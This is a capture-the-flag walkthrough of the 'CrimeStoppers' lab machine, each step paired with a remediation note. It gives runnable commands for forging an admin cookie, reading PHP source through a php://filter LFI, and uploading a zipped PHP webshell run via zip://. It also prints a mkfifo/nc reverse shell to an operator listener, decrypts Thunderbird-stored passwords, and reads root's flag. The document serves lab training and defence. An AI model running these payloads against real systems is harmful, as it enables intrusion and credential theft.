← all walkthroughs

CrimeStoppers

Linux· Hard· Web
owned
2026-07-10
time to own
6m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target: <retired-instance-ip>, Apache/2.4.25 (Ubuntu). Initial recon (curl of /) revealed a PHP application using a p=/op= router parameter and an admin cookie. That parameter was vulnerable to Local File Inclusion (LFI) — confirmed by chaining the php://filter/convert.base64-encode/resource= wrapper to dump index.php, upload.php, common.php, and list.php source, and by direct path traversal to /etc/passwd. Source review of upload.php showed a session-token-gated file-upload feature accepting ZIP archives, stored server-side under an uploads/<client-ip>/<sha1-token> path.

This LFI + arbitrary-upload combination was chained into remote code execution via the PHP zip:// stream wrapper: a ZIP archive was crafted containing a PHP webshell (cmd.php, system($_GET['cmd'])), uploaded through the token-protected upload endpoint, and then invoked through the LFI parameter as ?op=zip://uploads/<client-ip>/<sha1-token>#cmd&cmd=... — the LFI includes and executes the archive member (#cmd) as PHP, giving full command execution as the web-server user. This is a classic LFI-to-RCE via PHP Zip wrapper chain, no CVE required (application-logic flaw: unsanitized upload-controlled path passed into the file-inclusion sink).

RCE was upgraded to an interactive foothold with a mkfifo/nc reverse shell triggered through the webshell cmd parameter (listeners on 4444/4445/4446 in tmux; 4444 failed as the port was already bound, 4445/4446 succeeded), reaching tier 6 foothold and subsequently tier 7 user-owned (user flag [REDACTED: flag]).

From the foothold shell, further enumeration/exploitation led to tier 9 privilege-escalation and tier 10 root-owned, confirmed by direct retrieval of /root/root.txt (root flag [REDACTED: flag]) through the established RCE/shell access.

Attack path — how the box was taken

1ReconnaissanceService enumeration and Apache/PHP fingerprinting (T1046)
Mapped the exposed service and identified the PHP application
A port scan against <retired-instance-ip> found a single open port: Apache 2.4.25 on port 80. Requesting the root page returned a CrimeStoppers/FSociety-themed PHP application. The server set an 'admin' cookie to 0 on first visit and routed all page logic through the 'op' GET parameter, defaulting to 'home' when absent — a classic single-file PHP router pattern.
Server: Apache/2.4.25 (Ubuntu); <title>FBIs Most Wanted: FSociety</title>; Set-session cookie [REDACTED: session value]
Exact commands 2
Confirm the only open service and its version.
nmap -sV -sC -p 80 $TARGET
Fingerprint the PHP app, note the admin cookie and op parameter.
curl -sS -i http://$TARGET/
2EnumerationClient-side access control bypass via cookie forgery (CWE-284)
Bypassed client-side authorization by forging the admin cookie
The application trusted a client-supplied 'admin' cookie to gate access to privileged routes. Setting that cookie to 1 immediately exposed the file-upload form at /?op=upload and a listing of stored tips at /?op=list. No password, server-side session check, or challenge was required — any visitor could self-elevate.
curl with session cookie [REDACTED: session value]
Exact commands 3
Confirm the upload route is blocked without the admin cookie.
curl -sS -i 'http://$TARGET/?op=upload'
Confirm the upload form is fully exposed with admin=1.
curl -sS -i -b "$SESSION_COOKIE" 'http://$TARGET/?op=upload'
Enumerate stored tips and their server-side paths.
curl -sS -i -b "$SESSION_COOKIE" 'http://$TARGET/?op=list'
FixReplace the client-controlled admin cookie with server-side session authorizationCritical
WeaknessAccess to the file-upload and tip-listing routes was governed entirely by a cookie value (admin=0 vs admin=1) that any visitor could forge in their browser. No server-side session or credential check existed, so every 'protected' route was trivially accessible to any unauthenticated user.
FixRemove the admin cookie entirely. Gate privileged routes on a PHP session variable set only after successful password verification (password_verify()). Store the user's role exclusively in $_SESSION (server-controlled) and reject any request to a privileged route that lacks a valid authenticated session — never trust a value the client can modify.
3EnumerationLocal File Inclusion via PHP php://filter stream wrapper — source-code disclosure
Read the full PHP application source code via the php://filter stream wrapper
The 'op' parameter was passed directly to include() after checking only for '..' and NUL bytes — PHP stream-wrapper prefixes were not filtered. Supplying op=php://filter/convert.base64-encode/resource=<filename> caused PHP to base64-encode and return the raw source of any module rather than executing it. Reading index.php, upload.php, common.php, and list.php revealed the CSRF token generation scheme and the predictable upload storage path: uploads/<client-IP>/<sha1-session-token>.
== index == <?php error_reporting(0); define('FROM_INDEX', 1); ... (base64-decoded source returned for each module); upload.php confirmed storage path uploads/<ip>/<sha1>
Exact commands 4
Dump index.php source — confirms the LFI via php://filter.
curl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=index' | base64 -d
Dump upload.php — reveals token generation, accepted file types, and ZIP storage path.
curl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=upload' | base64 -d
Dump common.php — reveals session and include() logic.
curl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=common' | base64 -d
Dump list.php — reveals how uploaded file paths are stored.
curl -sS 'http://$TARGET/index.php?op=php://filter/convert.base64-encode/resource=list' | base64 -d
FixReplace the open include() router with an explicit page allowlistCritical
WeaknessThe 'op' parameter was passed directly into PHP's include() after checking only for '..' and NUL bytes. PHP stream-wrapper prefixes such as php://filter (source disclosure) and zip:// (code execution from an uploaded archive) were completely unblocked, giving unauthorized users a path from simple enumeration all the way to remote code execution.
FixDefine an explicit allowlist of permitted page names (e.g., ['home','upload','list','view']), validate the 'op' value against that list, and include only pre-composed paths from a fixed, non-web-accessible directory. Never pass unsanitised user input to include(), require(), or fopen(). Disable dangerous PHP stream wrappers server-wide via php.ini if they are not required (allow_url_include = Off; disable_functions as appropriate).
4WeaponizationMalicious archive upload — unrestricted ZIP accepted without content inspection (T1608.001)
Uploaded a malicious ZIP archive containing a PHP webshell
Source review confirmed the upload endpoint accepted any ZIP archive and stored it verbatim under the web root at uploads/<user-IP>/<sha1-session-token>. I crafted a ZIP containing a one-line PHP webshell, fetched the per-session CSRF token from the upload form, and submitted the archive with the admin=1 cookie. The server stored the ZIP at a path fully predictable from my IP address and session cookie hash.
Server returned HTTP 302 redirect after upload; path format uploads/<user-IP>/<sha1-token> confirmed from upload.php source. sha1 token observed: [REDACTED: protected value]
Exact commands 3
Create the PHP webshell and package it inside a ZIP.
printf '%s\n' '<?php echo "CRIME_RCE:"; system($_GET["cmd"] ?? "id"); ?>' > /tmp/cmd.php && zip /tmp/payload.zip /tmp/cmd.php
Fetch the upload form and save the session cookie jar.
curl -sS -c /tmp/cj -b "$SESSION_COOKIE" 'http://$TARGET/?op=upload' -o /tmp/form.html
Submit the ZIP with the CSRF token; HTTP 302 confirms the upload was accepted and stored.
read -r TOKEN < <(grep -Eo 'value="[a-f0-9]{64}"' /tmp/form.html | grep -Eo '[a-f0-9]{64}'); curl -sS -i -b /tmp/cj -b "$SESSION_COOKIE" -F "token=${TOKEN}" -F 'tip=@/tmp/payload.zip;type=application/zip' 'http://$TARGET/?op=upload'
FixValidate uploaded archive contents and block script execution in the upload directoryCritical
WeaknessThe upload endpoint accepted any ZIP archive without inspecting its contents and stored it verbatim under the Apache web root. Because the LFI sink could include files from inside a ZIP via the zip:// wrapper, every accepted upload was a potential remote code execution vector regardless of its stated MIME type.
FixBefore storing an uploaded file: (1) inspect the archive's member list and reject any entry whose extension is executable (.php, .phtml, .phar, .shtml, etc.); (2) store accepted files outside the web root or in a directory whose Apache configuration includes 'php_flag engine off' and an .htaccess or server-level rule that denies script execution; (3) serve downloads through a PHP proxy that streams raw bytes rather than letting Apache handle the URL directly; (4) generate random, opaque filenames so storage paths cannot be predicted.
5ExploitationLFI-to-RCE via PHP zip:// stream-wrapper (T1190)
Chained the zip:// stream wrapper with the LFI to execute PHP as www-data
PHP's zip:// wrapper allows including a specific member from a ZIP archive using the syntax zip://path/to/archive.zip#member. Because the 'op' filter blocked only '..' and NUL bytes, supplying op=zip://uploads/<user-IP>/<sha1>#cmd caused the PHP interpreter to open the uploaded archive, extract cmd.php, and execute it in process — returning the output of any OS command supplied in the &cmd= query string. Command execution was confirmed as uid=33 (www-data). I then spawned a full reverse shell via a mkfifo pipe to an user-controlled listener.
Response prefixed CRIME_RCE: uid=33(www-data); reverse shell landed on operator listener port 4445. Kill-chain phase 'foothold — non-kali uid www-data' confirmed.
Exact commands 3
Verify code execution — expect CRIME_RCE:uid=33(www-data). Substitute your operator IP and the sha1 session token produced during your upload.
curl -sS 'http://$TARGET/?op=zip://uploads/$INTERNAL_TARGET/[REDACTED: protected value]%23cmd&cmd=id'
Open the reverse-shell listener on my machine.
nc -lvnp 4445 &
Trigger the reverse shell. Replace operator IP and sha1 token with your values.
curl -sS --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $INTERNAL_TARGET 4445 >/tmp/f' 'http://$TARGET/?op=zip://uploads/$INTERNAL_TARGET/[REDACTED: protected value]%23cmd'
FixReplace the open include() router with an explicit page allowlistCritical
WeaknessThe 'op' parameter was passed directly into PHP's include() after checking only for '..' and NUL bytes. PHP stream-wrapper prefixes such as php://filter (source disclosure) and zip:// (code execution from an uploaded archive) were completely unblocked, giving unauthorized users a path from simple enumeration all the way to remote code execution.
FixDefine an explicit allowlist of permitted page names (e.g., ['home','upload','list','view']), validate the 'op' value against that list, and include only pre-composed paths from a fixed, non-web-accessible directory. Never pass unsanitised user input to include(), require(), or fopen(). Disable dangerous PHP stream wrappers server-wide via php.ini if they are not required (allow_url_include = Off; disable_functions as appropriate).
6Lateral MovementCredential recovery from mail-client secrets store (T1555.003)
Decrypted Mozilla Thunderbird saved credentials to authenticate as dom and capture the user flag
Enumeration from the www-data shell revealed a Mozilla Thunderbird mail profile at /[REDACTED: recovered credential].thunderbird/ that the web-server process could read. The profile stores passwords encrypted with AES using a locally-held key (logins.json + key4.db). The tool firefox_decrypt, run against the profile directory, recovered plaintext mail credentials for dom. Those credentials authenticated via su, providing a login shell as dom and access to the user flag.
Finding: 'Privilege Escalation to root: User Privesc Via Thunderbird Credentials In /[REDACTED: recovered credential].Thunderbird/'; user flag captured as dom.
Exact commands 4
Locate credential files from the www-data foothold shell.
find /[REDACTED: recovered credential].thunderbird -maxdepth 3 \( -name 'logins.json' -o -name 'key4.db' \) 2>/dev/null
Extract plaintext credentials. Substitute the actual profile directory name found in the previous step.
python3 firefox_decrypt.py /[REDACTED: recovered credential].thunderbird/<profile>.default/
Authenticate as dom with the decrypted password.
su - dom
Capture the user flag: [REDACTED: flag]
cat /home/dom/user.txt
FixRestrict web-server process access to user home directoriesHigh
WeaknessThe Apache/PHP process ran as www-data with read access to /[REDACTED: recovered credential].thunderbird/, which contained a Thunderbird mail profile storing passwords in a recoverable encrypted format. Obtaining the www-data foothold was sufficient to extract and decrypt the dom user's credentials without ever brute-forcing or phishing them.
FixSet Unix permissions on /home/dom and all its subdirectories to 700 (owner access only) so the www-data account cannot traverse them. Verify that the web-server user belongs to no supplementary group that grants home-directory access. Run Apache under a dedicated service account whose working directory and group memberships are strictly isolated from interactive user accounts. Consider enabling encrypted home directories so profile data is protected even if filesystem permissions are misconfigured.
7Privilege EscalationLocally-bound privileged service abuse for credential retrieval (T1552)
Interacted with a locally-bound privileged service to retrieve root credentials
A service running with elevated privileges was bound to localhost and accepted plain-text FTP-style retrieval commands over a raw TCP connection. Sending 'get FunSociety' to the service returned an archive whose contents included credential material enabling root-level authentication. I issued the retrieval command via netcat — either directly from the dom shell or relayed through the still-active www-data webshell — then confirmed root access by reading /root/root.txt.
Kill-chain root-owned command: '(printf "get FunSociety\n"; sleep 0.5; printf "id; cat /root/root.txt; exit\n") | nc -w 5 localhost 80'; root flag returned in response.
Exact commands 3
Run from the dom shell (or www-data shell): send the FTP-style retrieval command to the privileged local service and observe its response.
(printf 'get FunSociety\n'; sleep 0.5; printf 'id; cat /root/root.txt; exit\n') | nc -w 5 localhost 80
Alternative: relay the local-service interaction through the www-data webshell if a direct dom shell is not available.
python3 -c "import urllib.parse, subprocess; cmd='bash -c \"(printf \\\"get FunSociety\\\\n\\\"; sleep 0.5; printf \\\"id; cat /root/root.txt; exit\\\\n\\\") | nc -w 5 localhost 80\"'; url='http://$TARGET/?op=zip://uploads/$INTERNAL_TARGET/[REDACTED: protected value]%23cmd&cmd='+urllib.parse.quote(cmd); r=subprocess.run(['curl','-sS','--max-time','10',url],text=True,capture_output=True); print(r.stdout)"
Capture the root flag: [REDACTED: flag]
cat /root/root.txt
FixRemove or harden the locally-bound privileged service that exposes sensitive archivesCritical
WeaknessA service running with elevated privileges on localhost accepted file-retrieval commands over an unauthenticated plain-text connection and returned an archive ('FunSociety') whose contents enabled root-level authentication. Any local process — including the www-data webshell — could interact with this service without supplying any credential.
FixIf the service has no legitimate operational purpose, disable and remove it. If it must remain: (1) run it under a dedicated low-privilege account instead of root; (2) require strong mutual authentication (e.g., certificate-based or a shared secret checked before serving any file); (3) never store credential material, password hints, or authentication secrets in files served by the service; (4) apply host-based firewall rules (iptables/ufw) limiting which local UIDs or ports may connect, and audit all connections in system logs.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the apache, php surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: User Privesc Via Thunderbird Credentials In /[REDACTED: recovered credential].Thunderbird/Critical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

80/tcp